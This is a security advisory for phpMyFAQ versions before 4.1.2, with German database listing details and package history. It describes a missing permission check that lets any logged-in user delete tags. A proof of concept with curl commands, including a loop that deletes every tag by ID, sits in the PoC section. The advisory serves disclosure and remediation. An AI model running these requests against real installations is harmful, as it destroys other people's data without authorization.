phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags
Summary
The TagController::delete() endpoint at DELETE /admin/api/content/tags/{tagId} only verifies that the user is logged in (userIsAuthenticated()), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with TagController::update() and TagController::search(), which both enforce the FAQ_EDIT permission.
Details
In phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php, the delete() method (line 121-133) uses only $this->userIsAuthenticated():
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
$this->userIsAuthenticated(); // Only checks isLoggedIn() — no permission check
$tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);
if ($this->tags->delete($tagId)) {
return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
}
return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}
Compare with update() (line 48-71) which properly enforces authorization:
public function update(Request $request): JsonResponse
{
$this->userHasPermission(PermissionType::FAQ_EDIT); // Proper permission check
// ... also verifies CSRF token ...
}
The userIsAuthenticated() method in AbstractController (line 258-263) only checks $this->currentUser->isLoggedIn():
protected function userIsAuthenticated(): void
{
if (!$this->currentUser->isLoggedIn()) {
throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
}
}
There is no admin-level middleware in the Kernel — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (admin/api/index.php) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.
Additionally, this endpoint lacks CSRF token verification (unlike update()), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.
PoC
# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)
# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
-H 'Cookie: PHPSESSID=<regular_user_session>'
# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}
# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
-H 'Cookie: PHPSESSID=<regular_user_session>'
done
Impact
Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:
- Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.
- Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken.
- No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup.
The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.
Recommended Fix
Add the FAQ_EDIT permission check and CSRF token verification to TagController::delete(), consistent with TagController::update():
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
$tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);
if ($this->tags->delete($tagId)) {
return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
}
return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}
At minimum, add $this->userHasPermission(PermissionType::FAQ_EDIT) to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated TAG_DELETE permission type for more granular access control.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Composer-Paket | phpmyfaq/phpmyfaq | < 4.1.2 | 4.1.2 |
| Composer-Paket | thorsten/phpmyfaq | < 4.1.2 | 4.1.2 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L- Schwäche (CWE)
CWE-862- Plattform
- Composer
- Paket
phpmyfaq/phpmyfaq, thorsten/phpmyfaq- Veröffentlicht
- 06.05.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-7cx3-2qx2-3g6w - CC BY 4.0
Schwachstellenhistorie: thorsten/phpmyfaq
Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 112
- Erste → letzte
- 05.2022 09.2026
- Ohne Fix
- 2
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 8
- Hoch 36
- Mittel 67
- Niedrig 1
Veröffentlichungen pro Jahr
- 2022: 8
- 2023: 62
- 2024: 2
- 2025: 6
- 2026: 34
-
phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.